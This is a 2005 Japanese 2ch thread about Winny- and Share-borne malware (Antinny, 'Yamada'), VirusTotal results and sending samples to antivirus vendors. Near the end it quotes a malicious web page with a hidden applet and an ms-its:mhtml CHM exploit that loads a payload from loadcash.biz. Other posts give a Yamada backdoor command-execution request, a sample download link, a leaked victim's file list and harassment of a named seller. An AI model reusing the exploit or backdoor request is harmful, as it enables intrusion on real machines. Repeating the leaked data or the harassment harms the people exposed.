・ウィルス対策ソフトEWIDOでウィルス分析（約140近くのワーム発見）　　
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runの
　何が怪しいのかがよくわからない。
　ひとつひとつたどっていったが、上記にはないフォルダアイコンに偽装された
　Whismng.exeをsystemフォルダに見つけたし・・・・・


よろしく頼みます。

>>264
えーと、・・・えーと・・・・
OS再ｲﾝｽｺ汁。
藻前のPCはすでに復旧不可能だ
今すぐ必要なデーターバックアップしてリカバリーしろ。
ついでに言うとウイルスセキュリティって安さに釣られて（ｒｙ

それはそうと、Trendが検体にちょこっと対応した模様。
TROJ_MELLPON.H
TROJ_MELLPON.I
TROJ_MELLPON.J
TROJ_MELLPON.L
TROJ_MELLPON.N
まだ公式対応メール来てないけど。

>>265
乙！

【ALBUM 洋楽】 Michael Jackson - ベスト・オブ・マイケルジャクソン.zip
Win32:Antinny-A [Wrm]

>>267
それ新種なのか？

2ch管理人訴えるっていう京大卒が再び違法コピー販売開始。
名前欄がstar〜になってる人を煽ると大変おもしろいレスがもらえます。

【経緯】
公務員がヤフオクで違法コピー販売の副業やってて、ウィルスに感染→個人情報他ダダ漏れ
→２ちゃんに晒されて→自分のしてた事も棚上げして逆ギレ→管理人訴える→様子見のため出品停止
→２ちゃんねらーのショボさに気づく→再び違法コピー販売開始
http://pc7.2ch.net/test/read.cgi/yahoo/1115636340/
ttp://puka-world.com/upload/img-box/1115687677097.jpg
京大卒業証書↑
新IDhttp://openuser4.auctions.yahoo.co.jp/jp/user/star_shop_2002jpjp?

>（約140近くのワーム発見）　

激ﾜﾗ

ny起動しシステム情報みてたら
最初キャッシュの数150と表示されるのに数秒経つと9になってしまいます
なんで？
キャッシュフォルダにはちゃんと150あります

↑誤爆スマン

トレンド、価格コム＝ウイルスに対応（専用除去ツール配布）
ttp://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=11359
常用者はnyとは関係ないがチェックしる！

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>274
見事に大手３社が出てない件について('A`)
このへんはオンラインｽｷｬﾝかぁ・・・
漏れの考えは上流メーカーが対応したら下位メーカーも対応するだろうという考え方。
まぁ、いかんのだけどね。('A`)それでも、ﾎﾈｶﾞｵﾚﾙ

>>276検体は価格の奴だが。会社参考までに
もう一箇所あった気がする

VirusTotal（http://www.virustotal.com/）

This is a report processed by VirusTotal on 05/16/2005 at 04:12:24 (CET) after scanning the file "a02.css" file.

AntivirusVersionUpdateResult
AntiVir6.30.0.1205.13.2005no virus found
AVG71805.13.2005no virus found
Avira6.30.0.1205.13.2005no virus found
BitDefender7.005.16.2005BehavesLike:Win32.AV-Killer
ClamAVdevel-2005050105.15.2005no virus found
DrWeb4.32b05.15.2005no virus found
eTrust-Iris7.1.194.005.15.2005no virus found
eTrust-Vet11.9.1.005.13.2005no virus found
Fortinet2.5105.15.2005no virus found
Ikarus2.3205.15.2005no virus found
Kaspersky4.0.2.2405.16.2005Trojan-PSW.Win32.Delf.fz
McAfee449105.13.2005no virus found
NOD32v21.109705.15.2005Win32/PSW.Delf.FZ
Norman5.70.1005.13.2005no virus found
Panda8.02.0005.15.2005no virus found
Sybari7.5.131405.16.2005Trojan-PSW.Win32.Delf.fz
Symantec8.005.15.2005no virus found
VBA323.10.305.16.2005no virus found

欄検眼段の検体誰か持ってたら、パスかけてアプロダにうpしてくれない？
>>275の検出結果だとチェイサーは検出できないみたいだから、
サポート宛に送りたい。

大手3社というと、トレンド、シマンテック、マカフィーのこと？
こないだ、ゆえあって上記３社＋NOD32、eTrust、AhnLabのを触る機会があったんだが
NOD32は、意外と使えるふうだった。

NOD32≒先生＞トレンド＞マカ＞＞＞＞eTrust＞＞＞＞＞＞＞＞＞＞＞＞＞AhnLab
って感じかね。特に、あたらしめの国産ウイルスへの対応度は。

>>278
ほい、(ttp://up.isp.2ch.net/up/2f4e8a71e37f.zip)
ttp://up.isp.2ch.net/upload/c=03okari/index.cgi?p=1

パスはあんたのID。よろ。

>>280
サンクス
早速サポートに送っておきます。

通報屋 ◆Y39/vakKjY 様
大変無理なお願いで申し訳ないのですが、
是非、検体のつまったCD-Rを
http://canon-sol.jp/supp/n_post.html
上記の住所まで郵送していただけないでしょうか？

製品に関するお問い合わせ の住所で宛先の一部のみ
セキュリティソリューション事業部
↓
セキュリティソリューション事業部 サポートセンター

としていただければ間違いなく到着します。

コンピューターウイルス検体在中 と書いていただければなお確実です。
もし、もしも可能でしたらどうか、よろしくお願いします。

>>282
すごいな、オマエ

>>282
そこでエムエクースですよ

捨てメアド晒してオンラインストレージうぷしてPASS送ってもらうとかでいいやん
ほんとに会社の中の人ならあらぬ誤解を避けるため削除依頼出した方がいくない？

メーカーの人なら情報提供者に費用負担を求めないんじゃないの？

なにその名前

>>282

>>282
すげー真偽が怪しいのだが・・・
とりあえずメーカーに電話して確認取ってみるよ。
そうでないと突然送られた方も迷惑だしｗ
・・・・で、中の人？

届け先があやふやな検体リクエストは、単なるいたずらかと。
ここ経由でもPGP使うなりなんなりで個人の認証ができるのに。

社員なら名前欄に「ユーザー」とは書かんだろｗ

山田に怯えているNOD32ユーザーが、対応してもらおうと送ってくれと言ってるのかな？
それにしても、通報屋さん乙です。 

何だ、自分で解析したいんじゃなかったのか(ﾟдﾟ)

>>293
とりあえず誰に言ってるのか分からんが答えてみる。
一応解析すっけど最終的には通報ですよ('A`)

>>294
解析ソフトは何に使ってます？

>>295
バイナリエディタ：Stirling
形式解析：PEiD
解析：OllyDbg
仮想マシン：VMWare

体験：ダブルクリック(w

>>297
ほんのり壷にはまったｗ

ほんのりニヤニヤした

>>294
わりぃ、わかりづらかったね
もち>>282宛て

通報したいなら好きにしろよ。解析もやりゃいいやん。
一々宣言だけ高らかにする奴ってよく居るが、構って欲しい臭ぷんぷんだな。。
もういい加減検体送って黙ってりゃいいんじゃないの？
鳥付きでバイナリエディタ：Stirlingとか書き込んでるのは流石に寒いだろう。

あれ、どこからかぷんぷん臭うぞ

香ばしいニオイが

ごめん、さっきまでスコーン食ってた

>>301
おまえは､OllyDbg を使って解析できるのか？

いま懸命にOllyDbgについて検索してるところだから、ちょっと待って
あげてよ。

(´-`).｡oO(今更ｗ通報屋にケチ付けてる時点で、単なる構って君確定だしな)

開発するにしろ何にしろ、ﾀﾞｳｿで目立つことをやると
思わぬところでｱｼがついてﾀｲｰﾎされる確率が増える
身の潔白に自信があれば心配不要だがなー

ダウソ板（つーか全部だが）はIP録ってるし、
nyがらみは、ｹｰｻﾂさんも興味深く観察してるだろうからねぇ。
危ないものを放流したって書けば、即、ﾀｲｰﾎの可能性はあるし、ウイルス開発も同じだね。

ここは、善意で流れてるものを拾って解析してるってだけなので、趣味の範疇だな。
こんなとこ見てないで、スパマー撲滅してほしいもんだなぁ…

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

すいません、キヤノンが無茶言うんですよ。集めてこいみたいな。そんなことできねぇよ。感染したら怖いよ。
あのCD-R送ってもらえたらありがたいじゃないか、でも会社としてはできないよな
ということで、単なるユーザーのお願いです。

メールで会社の人に「このスレで頼み込んでこい」って無茶言ってみましたが、
やっぱり無茶だったようです。本家のEsetならやってくれそうだけど、英語よく分からん。

NOD32は分かっている限り 山田(A)には対応 B BTには対応してませんが、
なんかもう色々ありすぎてよく分かりません。

何だ、結局他人を利用する事しか考えていない厨坊のたわごとだったわけか

>>311
何かったるい事抜かしてんだよ
このｽﾚ+過去ｽﾚ見りゃ通報屋が地道にやってきたのが判るだろ。
自分でやりな。
もしくは黙ってても集まってくるように信用されるように努力しろ
あれか、ｷｬﾉﾝの下請けか派遣のﾌﾟか?
座ったまんまで何かを得ようなんざ十年早い。
まず手を動かせ

>>311
本当に中の人なら終わってるなこの会社

>>311
３スレくらい前からハッシュ拾いまくってこい。
開かなきゃ感染なんてしない。
てかキャノンが言うなら専用マシン用意してもらえ。
俺がやる筋合いはない。
こっちだって手間掛けて送ってたりしてるんだから。

#実費+それ相応の謝礼なら多少は考えるかもね。
以上、偽善者の戯言でした

なんかわけわからない事書いてたな俺
会社の人ごめんなさい

282が着払いなりの負担をして通報屋からCD-Rを受け取り、
それをNOD32ユーザーとしてキャノンに送ってくれるって形なら
スレにもキャノンにも歓迎されたかもしれないのにな。

自分では何もできず、いつもﾏﾏﾝにやってもらっているのだろう。

>>311
あんた派遣だな。
安い給料で無茶言われて大変だねえ。

ウイルスほしけりゃshareのジャンプを片っ端からﾀﾞｳｿしろ。

>>315
献体提出量でポイントが負荷されてソフトの購入代金減額とか
使用期限が延びたらおもろいね。どっかやってくれないかな

>>320
作って送る香具師とか出てきそうだからどこもやらないんじゃない？

>>321
そだねｗ

>>322
と思ったけど、ウィルス作るリスクに比べてリターンが小さいから
誰もやらないような気がしてきた。

運営と被るが一覧落としておく
------TrendMicro　山田ウイルス対応状況-----
TROJ_MELLPON.A、TROJ_MELLPON.B、TROJ_MELLPON.D、TROJ_MELLPON.E
TROJ_MELLPON.F、TROJ_MELLPON.H、TROJ_MELLPON.I、TROJ_MELLPON.J
TROJ_MELLPON.L、TROJ_MELLPON.N、TROJ_DROPPER.BT
------ここまで対応一覧-----

>>274
紹介するならドネーションぐらい送ろうな。
漏れは50euro送ったが、paypalで任意の額送れる。

#お前らが使っているのか昨日から混んでる希ガス


>>279
AhnLabは自称「アジア産の新型ウイルスへの対応スピードは業界トップクラス」(ww
ttp://www.ahnlab.co.jp/product/v3virusblock2005IS.asp
antynny詰め合わせで試したら最低クラス
ﾋｿﾋｿ( ﾟｏﾟ)ﾔﾀﾞｧ(ﾟｏﾟ )ﾈｪ､ｷｲﾀ?( ﾟｏﾟ)ｵｸｻﾝ(ﾟｏﾟ )ﾂｰﾎﾔｻﾝﾐｶﾀﾆﾂｹﾅｲｶﾗ?

>>325
AhnLabのは、作りこみ的にはよくできてるけど、なにせ半島ものなので
ちょっち信頼できないってところだね。まぁ、未対応の多さに関しては
自分たちこそアジアの中心だと言ってる方々が作ってるので、そんな
もんなんでそ。特にニュイルス関係はダメだよね。

世界に広げよう山田ウィルスの輪


('A`)

（´･ω･`）

眼段などマカフィー未対応の国産ウイルス報告してみた。
制限3MBだけど日本Mcafeeのメール直送ならすぐ解析して1〜2日で返事くれるみたい。
ブラウザからアップするwebimm何とかは反応遅い。

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　でもアホらしなった。どうせ俺は踏まないから1円の得にもならん。もうやらね。

2chで対策されたら、新規感染者の面白SSみれないじゃん
なんでウィルス作者はもっとたくさんの掲示板に爆撃することにしなかったの？

>>330
祭りがしたかったんだろ。
そうでなければ、ワーム形態にしてAntinyもどきにしてるはず。

(一般コミック) [矢沢あい] NANA　-ナナ- 第13巻.zipf0ba5300f1778e34894e856c30898bb1339acea2
これのなか12巻空白exeでW32.HLLW.Antinny.G
特典壁紙空白.exeTrojan.Sientok だった

Shareで

そいえば、しばらく前にあったrubyだらけのエルフェンリート
昨日NAVにかけたらちゃんと反応してた
名前が"trojan horse"ってまんまやん。固有名詞は付かないのか？

識別名trojan horseってのは、とりあえず付けておく名前だとおもた。
被害報告が増えてきたら内部解析して特徴調べて正式名付けるんでそ。

ああ、なるほどです。
確かに、被害報告のほとんど無い物にまで名前付けてたらきりがないですしね

>>296
通報屋さん
あつめた検体はどこのベンダーに送ってます？

>>282 さんをみるとNODには送っていないようですが・・・
たいへんかと思いますが、いろんなところに送っていただければ
みんなが助かります。

>>337
自分でやれば？
通報屋もこのスレでもらったり拾ったりしているから、
それを手に入れて自分の好きなところに送ればいい。

>>167も書いてるが、なるべくパスかけてアプロダに
うpするようにすればいいんじゃないか？
そうすれば通報したい人は通報するだろうし。

>>337
(´･ω･`)っttp://blog.livedoor.jp/antiny_virus/
個人的スタンスが書いてあるｽ。
もうばれてるんでこっちでも晒すｽ。

いやっつーか、こんなん一時のもんだろ？
山田自体そのうち廃れて通報屋とかいうのも用済みだろうし。
寧ろ面白そうなのは構って君の存在意義である山田ウィルスが廃れてから。
どうやって自分を必死にアピっていくのか、ある意味見物。
ﾌﾞﾛｸﾞ作って気を引こうとしたみたいだが、次は何やんのかねｗ
ニュイルスoffでも開くのかね

>>341
ｱﾌｫは引っ込んでろ。な！

>342
尻尾振る相手間違ってるってｗ

つーかexe素で踏む人間なんて厨房ばっかだろうに。VM入れてないなんてネタだろ。
新作目当てでここ見てるんだから通報屋とかﾌﾞﾛｸﾞ作ったんなら永遠に引き篭もってて欲しいよ、ホント。

>>343
こんな香具師が感染するんだよなぁ・・・
（´・ω・）ｶﾜｲｿｽ

山田は4.5回踏んだよ、VMで。
恐らくVMも知らんで取り合えず煽ってみたんだろうな。
ここでの情報のみでexe必死に踏んでいくお前の方が（´・ω・）ｶﾜｲｿｽ

(´-`).｡oO(いちいち仮想マシンで踏まんと分からんのねｗ)

いいじゃねーかよ、通報屋氏は好きでやってるんだから煽るなﾖ。

VM環境なんて簡単に突破できるんだよ。もちろん知ってて書いてるんだよな＞RrcFH3e90
山田なんて屁みたいなもんだというのは同意するが。

ほんとに怖いニュイルスは、踏んでも(表向きには)何も悪さをしないってヤツだな。

>>VM環境なんて簡単に突破できるんだよ。

ここんとこ詳しく。
いや、純粋に興味あるから。

ホストOS側のドライブとかネットワークとか共有してない、ほぼ完全
にスタンドアロンな仮想マシンでも、簡単に突破されるの？

>>253
遅レスですいません
教えていただきありがとうございました。

VMになんかホゥルがあったらどうにもならんな

いや、ひどいインターネット並に頭悪い発言だよ。
IPから住所わかるとか言ってるレベルだから放置しとけ。

怖いウィルスってのはソフトウェアの製作者が意図的に組み込んだそれがしとかだな。

つーか、いい加減したり顔で出張ってくんなってｗ
お前さんが嫌いな通報屋より、よっぽど自己主張激しくてﾜﾛｽ

ん、お前みたいにID変えてくりゃいいのか？ｗ
悔しかったら俺のVM環境を簡単に突破してくれたまえよ。
ひどいインターネット君。

命名： V M 房

人の振り見て我が振り直せ

とはよくいったものだ

いや、煽り屋はどうでもいいんだが、VM(たとえばVMware)にしろguestでWindows走らせるなら、
スタンドアロンだろーが、事実上何でもできるようになってるAPIをコールするんだからね
IPから住所が分かるといった頭の悪い発言はしないが、おまいら知らないこと多すぎ

わざわざVMで踏まなきゃ理解できないようなの釣っても仕方ないな

というかVMに脆弱性がなかったら、何度も.verうｐしてへん罠
有益なのは認めるが、これさえ使ってりゃ無問題的な姿勢が房丸出し

>356
おまいら言うなｗ

>356
アホだろお前。

まぁVMについて論じるのは構わんが、通報屋はうぜーっつーことでいいのか？

あれだろな、ブルーバックで落ちたように見せかけるだけで、
VM厨は簡単にny

>>359
IP変えてくるなよ(w、VM厨が。

(w　なんて今更使う奴居たんだな。しかしなんで認定厨は単発IDが多いのやら。
・・・まぁ俺もVMware使ってるんだけどさ。

ID変えてきてやったぞ（w

山田・・・おそろしくギラつくのぉ

>363
どうせなら、明日の自作PCの投票でしろよ

アフォなﾔｼが沸いてるインターネッツですね

IDつーかリモホ変えるぐらいで、何をうれしそうに(ありがちだが、sage忘れてるぞ)
3秒もあれば単発IDなら、いくらでも変えれるだろ。
回線1本で、いくつかのIDを使いまわすぐらいしてから煽りやがれ。

>>367
ここはVIPじゃない
ダウソの単発IDは素でそれだけの人数がいるんだ

>>367
なんか勘違いしてたすまん

>>368
俺は

>>368
もしかして

>>368
釣られてるのか？

で変えてみて

いや、変わってなかったか、

ほな、IDを戻してミソ

いらんことすな

仮想HUBが死んでた…orz

煽ってるヤツも、遊んでるヤツも、もうやみれ.....

おれは１人だぞ。たぶん切れてないから変わってないはず。

>>378
（´・ω・） ｽﾏｿﾝ

やっぱ新作出ないと駄スレ化する罠

いいんだよそれで。ここはもともとネタスレじゃないし。

山田系は全部通報屋のﾌﾞﾛｸﾞに誘導しようや。
ここでやられてもウザいだけだし。

門戸は広く開けておくべきだと思うがな。

何もしない低能の嫉妬ですか

何もできない低能のﾌｧﾋﾞｮｰﾝだろ。

通報屋がバスターにありがたられるケースが一つ思いついた。

山田が世間で話題の中心になる。
バスター「うちは山田の亜種すでに○種類対応しています。対応の鈍い某社とは違います！」
バスター大人気。シェア奪回

こうなれば通報屋はバスターにとって神















多分そうならない(´･ω･) ｶﾜｲｿｽ

改行厨は氏ね

通報屋は存在が(´･ω･) ｶﾜｲｿｽ

VMでチェツクするのは手っ取り早いし安全だからじゃないかな
復旧楽だし

まあ通報屋氏はボランティアだからね
俺は尊敬してるよ

まあ文句だけ垂れてるやつよりは、ずっと貢献してる罠。＞通報屋氏
無理しない程度にがんがってほしい。

ああ、確かに頑張ってるね。ただ文句垂れてる奴とは違うしね。
あ、頑張ってるのは通報屋氏ね。

通報屋氏ね

warata

●

>391
禿同。通報屋氏ねは氏ね

亜種も登場、まだまだ2ちゃんねるを荒らし続ける「山田ウイルス」のその後
http://www.itmedia.co.jp/enterprise/articles/0505/20/news036.html

小林氏の降臨、キボンヌ

★「日本のパチンコ産業が北朝鮮を支えている」…金正日会談議事録

・フジテレビは２０日、ニュース番組「スーパータイム」の中で、朝鮮民主主義
　人民共和国（北朝鮮）の金正日総書記との会談議事録を元に、金総書記が
　「在日朝鮮人の70％が、30兆円市場である日本のパチンコ産業に関わっており、
　その送金がわが国を支えている」という旨の発言を行ったと報じた。


い　い　か　ら　パチンコ屋　　潰　せ　よ　23
http://society3.2ch.net/test/read.cgi/korea/1116020140/l50

ｦﾁスレでなんか検体ほしいとのことなのでVMで片っ端から探すか。

通報屋氏の許可貰って代理ﾏﾙﾁすまんこ
ttp://blog.livedoor.jp/antiny_virus/archives/22517698.html
山田ｳｨﾙｽ簡易ﾁｪｯｶｰを作ってくれたｽ>通報屋氏
XP SP2,W2ｋSP4+ﾌﾙﾊﾟｯﾁで検証済み。
誰か9x環境で試して欲しいｽ

>>396
だよなぁ。小林もスレに還元しろよな。勝手に商売ネタにするんじゃねーよ。
ライターの風上にも置けない香具師だな。ったく。これだから軟銀行はよぉ。

>>通報屋氏
AVGに送るよりclamavに送ったほうが対応が早いかも。英語でないと辛いでつが
ここなら毎日更新かかってるのでスルーされることはないと思う （´・ω・）ｽ

更新頻度の多さなら、BitDefenderもいい線いってると思う。

>>通報屋氏
小林氏から連絡あった？

>>402
確かにBitDefenderの方が（´・ω・）ｲｲｽﾈ

暑くて起きたｽ。
>>403
連絡無しの無断掲載ｽ・・・（´・ω・）
>>401,402,404 氏(並列扱いｽﾏｿ)
ありがとう。BitDefenderとかそういうところに送ってみるｽ（´・ω・）Excite翻訳で通じるかな

>Excite翻訳で通じるかな
十中八九通じない。

WEB翻訳のコツは、なるべく簡単な文章にする。
英訳したら確認の為もう一度日本語に戻してみる。
そんで文意がおかしくなってたら、最初の日本語を考え直す。
つーかさあ、virusって書いて送るだけで無問題なんだが・・・

>>405
ここに降臨する事を条件に許してやれｗ

>>405
ttp://www.itmedia.co.jp/enterprise/articles/0505/20/news036_2.html
あんたの名前が記事にあったよ

>>409
すごいな通報屋
一気に有名人

通報屋も一ダウン民

通報屋

>>409　等のITMediaの記事ですが、
名前削除依頼してきました。
そこまで努力したわけでもないので・・・
本当にお礼がしたいのはハッシュ張って下さった人とか検体送ってくれた人、
それにこのスレ住人さんとかです。

有志に代わってた

(　ﾟдﾟ)　仕事早ッ

(　ﾟдﾟ) 仕事早・・・

通報屋もびっくり

ﾜﾛﾀ

小林ぃぃぃ！ 人の名前(ハンドル)は勝手に使っておいて
お前はだんまりかよぉ。 3分で対応できるってことは
普段、ここに張り付いてるくせにぃ…。

まぁ、広く知らしめることはいいんだが、やり方の問題つーことね。

>>419
もちけつ。対応したのは別の人だった。
ﾒｰﾙが来て、配慮足らなかった。ｽﾏｿっていう感じの文書書いてあった。

>>413
記事のすぐ左に個人情報保護のカテゴリがあるのにﾜﾗﾀ

通報屋のHN出すくらいべつに問題ないんじゃね？

悪意が無いとはいえ、限りなくグレーゾーンな場所の個をピックアップする行為は
まずいような希ｶﾞｽ

なんだかんだいってダウソ板って悪印象しかないしなｗ

いや２ちゃんねるとブログ上のHNであって実在の個人名じゃないし…
当然だが本人がインターネット上に公開してるHNだし…
クレーム付けられたITmediaも苦笑いって所だと思うよ。

HNでも他人の名前を無断で自分の記事に載せるのはどうかと思う。

たまたま通報屋氏は活動歴が短いからそうでもなかったろうが、
例えばこれがFOX★あたりだったらまたアンチが大騒ぎしたろう。

特に何でも叩き煽りの対象になる2chのコテを記事に書いたら
そのコテに不利益なことになる可能性も充分にあるべ。

まぁ今回は掲載→通報屋から削除依頼→迅速に対応という流れが
スムーズに行ったんだからこの話はおしまいでいいんでないの。

参照量増えるだろうし通報屋さんはブログの横に
ウイルス対策ソフトのアフェリエイトでも張っておくべし

三三三三三三三　 （　　　 　|　ITメディアライター！
三三三三三　　　　　)）　　　 |
三三三三)ミ,（（＾＾彡ミ彡　 ／　　　　きさまッ！
三三三三 （（三三　　6)彡/／＼
三三三∩三ﾐl三三　 /ミ彡 ／) |　　見ているなッ！
三三三|彡ミ三ｌ三　／　＼ / /､ |
三三三ヽ＿）二 |￣　ﾉ　／　ﾐl :ｌ､＼
三　／二 /ミ　‐ｖ-― ´/　）ﾐ/ / /ヽ￣￣￣￣
三/　￣ /ﾐ　　　ｌﾐ 　 （_/ 三｀´｀´｀´

OSの再インストールしました。
でもいまだにアイコンをメモ帳に偽装したexeファイルが
残ってます。
どうすればよかとですか？
ちなみに再インストールはフォーマットしました。

友達になればいいんじゃないかな

>>428
意味が分からん フォーマットかけたら
前のファイル全部無くなるつーの

フォーマットせずに上書きしたんじゃないの？

つーかｶﾜｲｿｽｽﾚでやれよ。
通報屋が幼女.jpg 　　　　　　　　　　　　　　　　　　　　.exeを踏んじゃう様な人間の神なのは判ったから。
態々こっちまで話題広げる意味が判らんが・・・。

何かどうみても煽りに見えるな・・・、すまん。
相応しいｽﾚあるんだからそっちでやったら良いんじゃね、って意味だ。
別にそれ以外の意図は無い。

>>433
おもいっきり煽りに見えるｗ

>>通報屋
乙。記事では通報屋に敬意を示すために載せたんだと思うよ。
検体が見つかりにくく、また、一部の検体のサイズがでかいという中で
検体提出に貢献した人ということで。
でも本人が望まないなら速やかに削除した方がいいけどね。

まあ今日初めてこのスレを見た漏れが言うのもなんだが結局は通報屋氏＝ネ申ということだな

別に通報屋を貶すつもりは無いんだがね・・・。
ボランティアなのに頑張ってるし、すげーと思うよ。

でもスレ違いってテンプレにも書いてあるのに誘導しないのは、単純に疑問なんだが。

間違って検索まだの.exe開いてしまって
案の定ウイルスはいってたけど
バスターのおかげで助かった。

>>438
(;^ิД^ิ)今の会話のタイミングだねぇ・・・100パー嘘と分かる・・・

修正してやったぞ。

間違って検索まだのウイルス.exe開いてしまっても
バスターのおかげで助かることがある。

(DVDISO)【音楽PV】玉置成実 Greeting DVD(2004.5.19).zip
antinny.GとPE_PeriteAが入っているとバスター感知。
後者はウイルス駆除済み(安全です)
前者は隔離できません→(ファイルごと)隔離済み
これで一応大丈夫？
exe四つも入ってた。ちなみに実行前

>>440
南無

間違ってexe実行しちゃったんですけど、いろいろしたり探してるんですが
どんなウィルスか分からないです。
で、終了しようとしたら、 mellpox ってプログラムを強制終了に
なるんですが、これって何か知りませんか？誰かお助けorz

>>442
山田・・・

山田はウィルスじゃない

>>442
このｽﾚの最初のあたりを見れば分かるかと
http://tmp5.2ch.net/test/read.cgi/download/1116660656/

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

なんか新種作者の発表会会場になってないか？

>>446補足だけど
VirusTotalとOnline malware scanで、いくつか検知できました。
ひとつのexeに複数のマルウェアが入ってるのかな？

>>446
検体、送ってありました・・・。
現在他社と連絡を取っております。暫くお待ち下さい＿|￣|○

>>449
通報屋はNOD32は使ってないの？

>>450
それを聞いてどうするの？

>>通報屋氏
ありがとうございます。
毎度の通報、おつかれさまであります。

>>451
どうもしないよ

"ＰＣウイルス感染：個人情報流出か？　福島・そうま農協"
http://www.mainichi-msn.co.jp/today/news/20050522k0000m040079000c.html

＞「ウィニー」を使用

本体及びプラグイン作者の偽者・ウイルス・ゴミ等に対応（山田とか一部捏造警告）
http://moejump.s6.x-beat.com/filter.html

そういや大分前に漏れた原子力関連のスクリーンショットはどう
なったんだろう。よく考えたらあれも洒落になってないと思うが。

>>456
あぁ、確か苺の時だったね。俺も結構大事になるかと思ってたけど、何にも無かったね。

山田ウイルスに任意のコマンドを実行できるバックドアが発見されますた。
超危険。

>>458
恐ろし〜〜〜〜((((；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>>458

157 ：[名無し]さん(bin+cue).rar ：2005/05/21(土) 23:26:14 ID:VNuCKg6W0
>>136
自鯖に山田砲撃ってログみてみた。(googleを開くように指示)
山田ウイルスにコマンド実行機能があるみたいだね。
GET /~cmd=\"explorer.exe%20\"http://www.google.co.jp/\"\" HTTP/1.0

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

さて、大打撃をうけるのはいつか・・

>>461
236 名前：名無しさん＠５周年：2005/05/22(日) 02:02:30 ID:ujj67Jxu
業務文書フォルダのみ(解凍後）
ファイルの総数:
1051 個のファイル 43,447,237 バイト
134 個のディレクトリ

ファイル名は、個人名ビシバシなんでリストはむりぽ(´･ω･)
代わりに．．．

(アプリ)官能小説詰め合せ(89本）フォルダ(一部抜粋）
レイプ　恥辱のＯＬ.txt
兄と妹・犯された蜜獣.txt
凌辱の美少女.txt
制服の秘蜜.txt
剥かれる_1.TXT
四十八手.txt
女子アナウンサー・凌辱の乳房.txt
女子高生学級連鎖・濡れたビデオ.txt
奴隷女教師・麗奈.txt
妹・禁姦.txt
姉と弟_禁蜜の薫り.txt
幼なじみ.txt
恥虐姉妹・レイプ＆レイプ.txt
教育実習生・レイプ肉地獄.txt
新妻地獄.txt
生贄妻・筆下ろし奉仕.TXT
生贄美少女・恥悦教育.TXT
美少女愛玩.txt
養女.txt

これはいいご趣味ですね

>>463
スレ違いだからそろそろ消えろ

ノートンで削除されたAntinny入りのzipは展開しても大丈夫ですか？
ウィルススキャンでも脅威は見つかりませんでしたが、他に気をつけることはありますか？

>>466
スキャンしたからといっても新種とか亜種には対応してませんので
ご注意を　もし新種や亜種を発見した場合は、各ベンダーに対して
検体の提出や通報屋氏にご一報ください

○○.jpg　　　　　　　　　　　　　　　　　　　　　　　　　　　　.exeなど
そして踏んでから後悔するより、ﾃﾝﾌﾟﾚにあるツールなどを参考にどうぞ

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

そうそう、PCには自然治癒能力あるから
起きた頃には元気になってるよ

|-`).｡ｏO(コミックは専用ビューアー使うからexeを踏むこと自体が珍しいと思うんだが・・・)

>>470
>>専用ビューアー

くわしく

>>471
ttp://www.geocities.jp/comicview7/index.html

それぐらいぐぐれよ・・・

ｵﾊﾖｰ
Yahooにも取り上げられて大変な騒ぎですな。

てか、「任意のコマンド実行」の山田検体は収拾できましたか？

>>470
その原理すらわかってなかった。
展開すればかってにexeが実行されるのかと思ってた。
ファイルが壊れたように見せかけてexeを実行するとか、
あれはガセネタか？

・・・・ｗ

　　 ＿＿
　／.Φ.　＼＿＿
　|.　Ξ 　 　 　 　|
　|.　Ξ 　 　 　 　|
　|.　Ξ 　 　 　 　|　　　　　　　　　　　　　　　　　　　　　　　　　　　.exe
.　￣￣￣￣￣￣

【トラックバック来たよ】 (ver. 0.11)
[タイトル] 新しいフォルダ(2)　　　.exe
[発ブログ] ネットワークセキュリティ＠2ch掲示板
http://pc8.2ch.net/test/read.cgi/sec/1112003988/l50
[＝要約＝]
気をつけようね

　　　　 ,-‐､ ＿
　 　 　 |__,,ﾆ＝T
　　　　‖　　　‖
　　　　 |__,､-‐''″
　　　(一般コミック・雑
　　　誌)[ジャンプ] [2005
　　　-23] BLEACH 177






　　　　　.exe

eTrustしか対応してないんじゃ意味ないな

http://jbbs.livedoor.jp/shop/832/

<script language="JavaScript">
var lang = navigator.systemLanguage;
if (lang == "ru") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "cn") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "zh") document.location = "http://awmcash.biz/adverts/nafig.html";
</script>
<html>
<head>
<title></title>
</head>
<body>
<applet CODE="BlackBox.class" width=1 height=1></APPLET>
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/x-scriptlet"></object>
</body>
</html>

汚染を除去しました。

定期おつー

ラブレター貼るんじゃね〜YO!
一瞬ドキッテしたじゃねーか！

ﾄﾞｷｯﾁ

LoveレターはNGワード

>>485
乳首すけてる

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

http://tmp5.2ch.net/test/read.cgi/download/1113406365/592

そういえば、対応が急に遅くなった会社がありましたね。
気のせいだと思いますけど。

>>489
検体送りすぎた。
１２ファイルは流石にやりすぎだったorz

>>490
キミの行動にそこまで影響力があるのか疑問だ
自意識過剰じゃないのか？

>>491
随分偉いんだねえ。
それともあれか、キミはこの間の検体送付断られた派遣ﾌﾟか何かかね

>491
別に速攻ID変えてﾌｫﾛｰしに来ないでも。

>>493
('A`)?
他のｽﾚにはこのIDで散々書いてるんだが
それともあれか
ID代えるなんつー洒落た事を考え付くのはキミが491だからかね　ﾌﾟ

風俗店で口喧嘩なんかすんなよ

490 名前：通報屋 ◆Y39/vakKjY [sage] 投稿日：2005/05/23(月) 03:27:59 ID:bAN90rqZ0
>>489
検体送りすぎた。
１２ファイルは流石にやりすぎだったorz

